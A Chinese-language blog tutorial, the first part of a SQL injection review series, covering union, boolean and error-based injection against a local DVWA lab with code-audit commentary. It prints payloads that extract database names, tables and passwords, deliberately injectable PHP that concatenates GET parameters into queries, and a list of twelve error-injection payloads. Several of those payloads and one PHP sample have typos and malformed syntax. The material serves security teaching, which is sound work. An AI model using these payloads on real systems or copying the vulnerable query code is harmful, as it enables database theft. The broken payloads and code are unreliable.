前言
憶往昔,崢嶸歲月稠!大學已經到了大三了,打了很多比賽,回顧還是挺欣慰!此係列來由是想留一點東西,把所學知識整理一下,同時也是受github上Micro8分享的啓發,故想做一些工作,以留後人蔘考,歷時兩個星期,第一系列SQL注入回顧篇出爐!內容分四節發佈,其中SQL注入代碼審計爲兩節,WAF繞過總結爲1節,SQLMAP使用總結爲1節!此爲SQL注入代碼審計第一部分。歡迎各位斧正,交流!
簡介
SQL注入就是web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢攻擊者可以通過構造不同的sql語句來實現對數據庫的任意操作。
Sql注入的產生需要滿足以下兩個條件:
-
參數用戶可控:前端傳給後端的參數內容是用戶可以控制的。
-
參數帶入數據庫查詢:傳入的參數拼接到sql語句中,且帶入數據庫查詢。
當傳入的參數ID爲1’時,數據庫執行的代碼如下所示。
Select * from users where id=1’
這個語句不符合數據庫語法規範,所以會報錯。當傳入的參數爲and 1=1時,執行的sql語句如下所示
Select * from users where id=1 and 1=1
因爲1=1爲真,且where語句中的id=1也爲真,所以頁面會返回與id=1相同的結果。當傳入的id參數爲and 1=2時,此時sql語句恆爲假,所以服務器會返回與id=1不同的結果
在實際環境中,sql注入會導致數據庫的數據泄露,在安全配置不當的情況下還可能會被攻擊者拿到系統權限,進行文件的讀寫操作等。
普通的注入審計,可以通過$_GET
,$_POST
等傳參追蹤數據庫操作,也可以通過select
, delete
, update
,insert
數據庫操作語句反追蹤傳參。
Mysql注入相關知識點
-
在Mysql 5.0版本之後,Mysql默認在數據庫中存放一個”
information_shcema
”的數據庫,在該庫中,讀者需要記住三個表名,分別是SCHEMATA
,TABLES
和COLUMNS
。分存儲該用戶創建的所有數據庫的庫名,庫名和表名,庫名和表名,字段名。 -
Limit的用法:使用格式爲
limit m,n
,其中m是指記錄開始的位置,從0開始,表示第一條記錄:n是指取n條記錄。例如limit 0,1表示從第一條記錄開始,取一條記錄。 -
需要記住的幾個函數
-
database():當前網站使用的數據庫。
-
version():當前MYSQL的版本。
-
user():當前MySQL的用戶。
- 註釋符
在MYSQL中,常見的註釋符的表達式爲:#或–空格或/**/,
,//,-- , --+,%00,–a。
-
內聯註釋
內聯註釋的形式:/*!code */。內聯註釋可以用於整個SQL語句中用來執行我們的SQL語句,
舉個栗子:
Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
-
MYSQL對大小寫不敏感,所以存在大小繞過。
分類
按照注入方式方式分爲以下幾種:
- Union注入
- Boolean注入
- 報錯注入
- 時間注入
- 堆疊注入
- 二次注入
- 寬字節注入
- Cookie注入
- Base64注入
- XFF注入
Union注入
注入測試地址http://192.168.23.134/union/union.php?id=1
訪問該網站頁面返回的結果如圖所示
在url後添加一個單引號,再次訪問,如下圖所示,頁面返回的結果與id=1的結果不同。
訪問id=1 and 1=1,由於and 1=1爲真,所以頁面應返回與id=1相同的結果,如圖所示,訪問id=1 and 1=2 由於and 1=2爲假,所以頁面應返回與id=1不同的結果,如圖1.2所示。
注:這裏的加號代替了空格(url編碼)
圖1.2
因此可以得出此網站可能存在sql注入的結論,接着使用order by 1-99語句查詢該數據表的字段數量,可以理解爲order by=1-99,如訪問id=1 order by 8 返回的是與id=1相同的結果,如圖2.1所示。訪問id=1 order by 9,返回的與id=1的結果不同,則字段數爲8,如圖2.2.
圖2.1
圖2.2
接下來使用union注入,且通過order by 查詢結果,得字段數爲8,所以union注入的語句如下所示
union select 1,2,3,4,5,6,7,8
我們將id值設爲-1,只讓服務器返回union select的結果,因爲數據庫裏沒有id=-1的數據。如下圖:
返回的結果是4,5,意味着在union select 1,2,3,4,5,6,7,8中,4和5的位置可以輸入sql語句。接下來我們在 4的位置使用database()查詢當前數據庫名訪問
-1+union+select+1,2,3,database(),5,6,7,8
頁面成功返回數據信息,如圖所示
得到數據庫名後,接下來查詢表名
以此類推,可以查詢所有的表名,這裏我們用users表,查詢字段名
select column_name from information_schema.clumns where table_schema=’dvwa’ and table_name=’users’ limit 0,1
可知第一個字段爲user_id,以此類推用limit n,1查詢出所有字段名
得出字段名後,我們還要dump出字段值以password字段爲例
select password from dvwa.users limit 0,1
假如我們利用5顯示位,可以將密碼對應的姓名也打印出來
Union注入代碼分析
在union注入頁面中,程序獲取GET參數ID,將ID拼接到SQL語句中,在數據庫中查詢參數ID對應的內容,然後將第一條查詢結果中的username和address輸出到頁面上,由於是將數據輸出到頁面上的,所以可以利用union語句查詢其他數據,代碼如下
<?php
$con=mysqli_connect("localhost","root","root","dvwa");
// 檢測連接
if (mysqli_connect_error()
{
echo "連接失敗: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `user_id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['user'] . " " . $row['password'];
echo "<br>";
}
?>
Boolean注入
注入測試地址:http://192.168.23.134/boolean/boolean.php?id=1
訪問該網址頁面返回yes,如圖所示
加上單引號後,頁面返回no
雖然這裏存在報錯注入,但目前暫不考慮,輸入其它的id值,只返回yes和no。由此可以判斷,頁面只返回yes和no,不返回數據庫中的數據,所以此處不可union注入。此處利用Boolean注入。Boolean注入是指構造SQL判斷語句,通過查看頁面的返回結果來推測哪些sql判斷條件是成立,以此獲取數據庫數據。我們先判斷數據庫名的長度。
‘ and length(database())>=1--+
有單引號,所以需要註釋符來註釋。1的位置上可以是任意數字,如‘ and length(database())>=4–+和‘ and length(database())>=5–+,判斷數據庫長度,如圖所示
可以判斷出數據庫名長度爲4。
接着,使用逐字符判斷的方式獲取數據庫庫名。數據庫庫名的範圍一般在az,09之內,可能還有一些特殊字符,這裏的字符不區分大小寫。逐字符判斷的SQL語句爲:
‘ and substr(database(),1,1)=’d’--+
substr是截取的意思,其意思是截取database()的值,從第一個字符開始,每次只返回一個。
substr的用法跟limit的有區別,需要注意。Limit是從0開始排序,而這裏是從1開始排序。可以使用burp的爆破功能爆破其中的d值,如圖所示,當值爲d時頁面返回yes,其它值返回no,因此判斷數據庫名第一位爲d
逐字符爆破可以得出數據庫名爲dvwa。
其實還可以使用ASCII碼的字符進行查詢,在mysql中ASCII轉換的函數爲ord,則可以進行逐字符爆破。ASCII碼共有127個對應碼,因此我們把burp的payload的範圍設爲0~127。
‘ and ord(substr(database(),1,1))>=100--+
d的ascii對應的爲100,所以第一個字符爲d。
接下來爆破錶名,同樣利用burp爆破。
‘ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1,1)=’u’--+
這裏爆破出第二個表的第一個字符爲u,以此類推,就可以查詢出所有的表名與字段名。
Boolean注入代碼分析
在Boolean注入頁面中程序先獲取GET參數ID,通過preg_match判斷其中是否存在union/sleep/benchmark等危險字符。然後將參數ID拼接到SQL語句,從數據庫查詢,如果有結果,則返回yes,否則返回no。當訪問該頁面時,代碼根據數據庫查詢的結果返回yes或no,而不返回數據庫中的任何數據,所以頁面上只會顯示yes或no,代碼如下。
<?php
$con=mysqli_connect("localhost","root","root","dvwa");
// 檢測連接
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");
}
$result = mysqli_query($con,"select * from users where `user_id`='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
?>
報錯注入
注入測試網址:192.168.23.134/error/error.php?username=1
加上單引號後會報錯。
通過頁面返回結果可以看出,程序直接將錯誤信息輸出到了頁面上,所以利用報錯注入獲取數據。報錯注入有多種方式,此處利用函數updataxml()SQL語句獲取user()的值
‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII編碼,解碼結果爲~,concat函數用於連接字符串。
然後獲取當前的數據庫名
‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
接下來查詢表名
‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),0x7e),1)--+
報錯注入代碼分析
在報錯注入頁面中,程序獲取GET參數username後,將username拼接到SQL語句中,然後到數據庫查詢,如果執行成功,就輸出ok;如果出錯,則通過mysqli_error($con)將錯誤信息輸出到頁面。代碼如下
<?php
$con=mysqli_connect("localhost","root","root","dvwa");
// 檢測連接
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where `first_name`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
輸入username=1’時,SQL語句爲select * from users where ‘username’=’1’’會因爲多了一個單引號而報錯。利用這種錯誤回顯,我們可以通過floor(),updatexml()等函數將要查詢的內容輸出到頁面上。
sql報錯注入的12個函數
1、通過floor報錯,注入語句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過ExtractValue報錯,注入語句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通過UpdateXml報錯,注入語句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通過NAME_CONST報錯,注入語句如下:
and exists(select*from(select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );
7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );
結語
本次分享是Union注入,報錯注入,布爾注入的原理分析,及其代碼審計!下次分享的是另外幾種注入的代碼審計及其原理分享,如:時間注入,堆疊注入,二次注入,cookie注入等!如有興趣,請移步->
傳送門:
SQL注入回顧篇(二)
SQL注入回顧篇(三)
SQL注入回顧篇(四)